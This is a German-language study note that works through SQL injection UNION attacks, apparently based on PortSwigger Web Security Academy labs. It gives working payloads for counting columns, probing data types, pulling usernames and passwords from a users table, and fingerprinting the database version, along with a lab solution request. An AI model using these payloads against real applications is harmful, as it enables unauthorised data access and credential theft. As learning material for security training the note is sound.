Skip to content

2. SQL Injection UNION Attacks

Was ist das

UNION Attack beschreibt das Szenario indem man versucht auf andere Tabellen, innerhalb einer definierten Abfrage für eine bestimmte Tabelle, zuzugreifen. Außerdem haben UNION Abfragen zwei Bedingungen. - Beide Tabellen müssen die gleiche Anzahl spalten zurückgeben bei der Abfrage - Die Datentypen für die jeweiligen Spalten müssen auch kompatibel sein

Bevor man deswegen eine UNION Attack durchführen kann müssen wir uns erstmal foglende Fragen stellen. - Wie viele Spalten werden von der originalen Query zurückgeliefert - Welche Datentypen haben die Spalten

Aber wie man das aber umgehen kann. - Fehlende Spalten mit NULL ergänzen - Bei inkompatiblen Datentypen kann man ggf. den Wert casten

Bestimmen der Anzahl benötigter Spalten

Order By-Technik

' ORDER BY 1-- 
' ORDER BY 2-- 
' ORDER BY 3-- 
...
- (das führende ' schließt die bisher offene Zeichenkette im SQL; -- kommentiert den Rest aus) - Beobachte die Antworten: bis zum richtigen Index bleibt die Antwort „normal“. Sobald ORDER BY k größer ist als die Anzahl der Spalten, bekommst du entweder eine DB-Fehlermeldung (z. B. „ORDER BY position number 5 is out of range…“), eine generische Fehlerseite, keine Ergebnisse oder ein erkennbares Verhalten, das sich ändert. - Wenn z. B. ORDER BY 4 einen Fehler erzeugt, aber ORDER BY 3 nicht, dann hat die Query 3 oder weniger Spalten — meistens bedeutet das: originale Spaltenanzahl = 3.

Manche Apps fangen DB-Errors ab und zeigen nichts. Dann musst du Unterschiede detektierbar machen (z. B. Response-Länge, HTTP-Status, spezifische HTML-Teile). Beginne mit ORDER BY 1 und erhöhe sequentiell; höre auf, wenn du eine Änderung siehst.

UNION-SELECT-NULL-Technik (Meist genutzte Methode) Idee: Du hängst an die originale Abfrage ein UNION SELECT ... an und gibst in der injecten SELECT so viele NULL-Platzhalter an, bis die DB nichts mehr meckert. NULL passt in (fast) jeden Datentyp - darum nutzen wir es.

' UNION SELECT NULL-- 
' UNION SELECT NULL,NULL-- 
' UNION SELECT NULL,NULL,NULL-- 
...
- Beispiel mit Anzahl NULLS != Anzahl tatsächlichen Columns UNION_ATTACK_DETERMINING_THE_NUMBER_OF_COLUMNS_ERROR.png - Beispiel mit Anzahl NULLS == Anzahl tatsächlichen Columns UNION_ATTACK_DETERMINING_THE_NUMBER_OF_COLUMNS_SUCCESS.png

Finde Spalten mit nützlichen Datentypen

Nachdem wir herausgefunden haben wie viele Spalten wir haben können wir die Datentypen vergleichen. String Datentypen

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
Anhand der Response können wir schauen wie die DB auf den Wert a reagiert. Conversion failed when converting the varchar value 'a' to data type int.

-> Wenn Error-Antwort generisch ist wie zB 500 Internal Server Error bekommen wir keine direkte Antwort um welchen Datentyp es sich handelt. Daher müssen wir einfach die Datentypen manuell testen im sinne von: Numerische Datentypen

' UNION SELECT 123,NULL,NULL,NULL--
' UNION SELECT NULL,123,NULL,NULL--
' UNION SELECT NULL,NULL,123,NULL--
' UNION SELECT NULL,NULL,NULL,123--

Database spezifischer Syntax

Jede Datenbank hat eine etwas andere Syntax. Unter der folgenden Seite lässt sich eine kleine Übersicht über die unterschiedlichen Syntax finden. Besonders wichtig beimfinden von Spalten und Datentypen brauchen wir am Ende ein Comment-Syntax. D.h wir müssen einfach bisschen rumprobieren und gucken was so funktioniert.

SQL-Injection-Cheatsheet

Wie macht man sich UNION jetzt richtig zu nutze um damit interessante Daten abzufragen

Sobald wir Anzahl Columns und die dazugehörigen Datentypen herausgefunden haben, können wir Daten aus anderen Tabellen abfragen mit UNION.

z. B. - In der Datenbank gibt es eine Tabelle users mit den Spalten username und password. Dann könnte man folgendes eingeben, um die Inhalte der users-Tabelle abzurufen: ' UNION SELECT username, password FROM users--

Mehrere Werte erhalten trotz einzelner Spalte

Manchmal kann es sein, dass nur eine einzige Spalte zurückgegeben wird. Um jetzt eben trotzdem alle Werte zu bekommen müssen wir die gesamten Werte als Eine Ausgabe darstellen. z. B. mit: ' UNION SELECT username || '~' || password FROM users--

die Ausgabe sieht dann wie folgt aus.

administrator~s3cure
wiener~peter
carlos~montoya

Lab: SQL injection UNION attack, retrieving multiple values in a single column

' UNION SELECT NULL-- -> error ' UNION SELECT NULL,NULL-- -> OK

' UNION SELECT 'a',NULL--->error ' UNION SELECT 123,NULL--->OK ' UNION SELECT 123,'a'--->OK -> Spalte1 = Number, Spalte2 = String

Dann bauen wir eine UNION SELECT Abfrage entsprechend den Kriterien.

GET /filter?category=' UNION SELECT NULL, concat(username, '~', password) FROM users-- HTTP/2

Querying the database type and version

Um SQL-Injection auszunutzen, ist es oft nötig, Informationen über die Datenbank zu bekommen. Dazu gehören: - Der Typ und die Version der Datenbanksoftware. - Welche Tabellen und Spalten die Datenbank enthält.

Das lässt sich mit folgenden Befehlen für beliebige Datenbanken testen:

Datenbank Query
Microsoft / MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
UNION_ATTACK_WHAT_DATABASE_TYPE.png